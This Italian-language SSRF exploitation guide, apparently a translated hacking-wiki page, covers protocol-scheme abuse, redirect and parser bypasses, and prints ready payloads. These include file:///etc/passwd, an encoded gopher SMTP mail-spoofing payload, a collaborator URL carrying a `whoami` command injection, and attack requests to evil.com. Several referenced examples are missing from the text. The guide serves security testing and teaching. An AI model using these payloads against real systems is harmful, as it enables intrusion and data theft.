Una vulnerabilità di Server-side Request Forgery (SSRF) si verifica quando un attaccante manipola un applicazione lato server per effettuare richieste HTTP a un dominio di sua scelta. Questa vulnerabilità espone il server a richieste esterne arbitrarie dirette dall'attaccante.
Cattura SSRF
La prima cosa che devi fare è catturare un'interazione SSRF generata da te. Per catturare un'interazione HTTP o DNS puoi usare strumenti come:
Di solito scoprirai che l'SSRF funziona solo in alcuni domini o URL in whitelist. Nella pagina seguente hai una compilazione di tecniche per cercare di bypassare quella whitelist:
Se il server è correttamente protetto, potresti bypassare tutte le restrizioni sfruttando un Open Redirect all'interno della pagina web. Poiché la pagina web consentirà SSRF allo stesso dominio e probabilmente seguirà i redirect, puoi sfruttare l'Open Redirect per far accedere il server a qualsiasi risorsa interna.
Leggi di più qui: https://portswigger.net/web-security/ssrf
Protocolli
file://
Lo schema URL file:// è riferito, puntando direttamente a /etc/passwd: file:///etc/passwd
dict://
Lo schema URL DICT è descritto come utilizzato per accedere a definizioni o elenchi di parole tramite il protocollo DICT. Un esempio fornito illustra un URL costruito che mira a una parola specifica, database e numero di voce, così come un'istanza di uno script PHP che potrebbe essere potenzialmente abusato per connettersi a un server DICT utilizzando credenziali fornite dall'attaccante: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
SFTP://
Identificato come un protocollo per il trasferimento sicuro di file tramite shell sicura, viene fornito un esempio che mostra come uno script PHP potrebbe essere sfruttato per connettersi a un server SFTP malevolo: url=sftp://generic.com:11111/
TFTP://
Il Trivial File Transfer Protocol, che opera su UDP, è menzionato con un esempio di uno script PHP progettato per inviare una richiesta a un server TFTP. Una richiesta TFTP viene effettuata a 'generic.com' sulla porta '12346' per il file 'TESTUDPPACKET': ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
LDAP://
Questo segmento copre il Lightweight Directory Access Protocol, enfatizzando il suo utilizzo per gestire e accedere ai servizi di informazioni directory distribuiti su reti IP. Interagisci con un server LDAP su localhost: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
SMTP
Viene descritto un metodo per sfruttare le vulnerabilità SSRF per interagire con i servizi SMTP su localhost, inclusi i passaggi per rivelare nomi di dominio interni e ulteriori azioni investigative basate su tali informazioni.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
Curl URL globbing - Bypass WAF
Se l'SSRF viene eseguito da curl, curl ha una funzionalità chiamata URL globbing che potrebbe essere utile per bypassare i WAF. Ad esempio, in questo writeup puoi trovare questo esempio per un path traversal tramite il protocollo file:
La capacità del protocollo Gopher di specificare IP, porta e byte per la comunicazione con il server è discussa, insieme a strumenti come Gopherus e remote-method-guesser per creare payload. Vengono illustrati due usi distinti:
Gopher://
Utilizzando questo protocollo puoi specificare l'IP, la porta e i byte che vuoi che il server invi. Poi, puoi sostanzialmente sfruttare un SSRF per comunicare con qualsiasi server TCP (ma devi sapere come parlare con il servizio prima).
Fortunatamente, puoi usare Gopherus per creare payload per diversi servizi. Inoltre, remote-method-guesser può essere utilizzato per creare payload gopher per servizi Java RMI.
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
#For new lines you can use %0A, %0D%0Agopher://<server>:8080/_GET /HTTP/1.0%0A%0Agopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Il software di analisi sui server spesso registra l'intestazione Referrer per tracciare i link in arrivo, una pratica che espone involontariamente le applicazioni a vulnerabilità di Server-Side Request Forgery (SSRF). Questo perché tale software può visitare URL esterni menzionati nell'intestazione Referrer per analizzare il contenuto del sito di riferimento. Per scoprire queste vulnerabilità, si consiglia il plugin di Burp Suite "Collaborator Everywhere", sfruttando il modo in cui gli strumenti di analisi elaborano l'intestazione Referer per identificare potenziali superfici di attacco SSRF.
SSRF tramite dati SNI dal certificato
Una configurazione errata che potrebbe abilitare la connessione a qualsiasi backend attraverso una semplice configurazione è illustrata con un esempio di configurazione Nginx:
In questa configurazione, il valore del campo Server Name Indication (SNI) è utilizzato direttamente come indirizzo del backend. Questa configurazione espone una vulnerabilità a Server-Side Request Forgery (SSRF), che può essere sfruttata semplicemente specificando l'indirizzo IP o il nome di dominio desiderato nel campo SNI. Un esempio di sfruttamento per forzare una connessione a un backend arbitrario, come internal.host.com, utilizzando il comando openssl è fornito di seguito:
Potrebbe valere la pena provare un payload come: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
Rendering di PDF
Se la pagina web sta creando automaticamente un PDF con alcune informazioni che hai fornito, puoi inserire del JS che verrà eseguito dal creatore del PDF stesso (il server) mentre crea il PDF e potrai abusare di un SSRF. Trova ulteriori informazioni qui.
Da SSRF a DoS
Crea diverse sessioni e prova a scaricare file pesanti sfruttando l'SSRF dalle sessioni.
Funzioni PHP SSRF
Controlla la seguente pagina per funzioni PHP vulnerabili e persino funzioni di Wordpress:
Per alcune sfruttamenti potresti aver bisogno di inviare una risposta di reindirizzamento (potenzialmente per utilizzare un protocollo diverso come gopher). Qui hai diversi codici python per rispondere con un reindirizzamento:
</details>
Flask consente di utilizzare **`@`** come carattere iniziale, il che consente di rendere **il nome host iniziale il nome utente** e iniettare un nuovo nome. Richiesta di attacco:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
Spring Boot
Codice vulnerabile:
È stato scoperto che è possibile iniziare il percorso di una richiesta con il carattere ; che consente di utilizzare poi @ e iniettare un nuovo host da accedere. Richiesta di attacco:
GET ;@evil.com/url HTTP/1.1Host:target.comConnection:close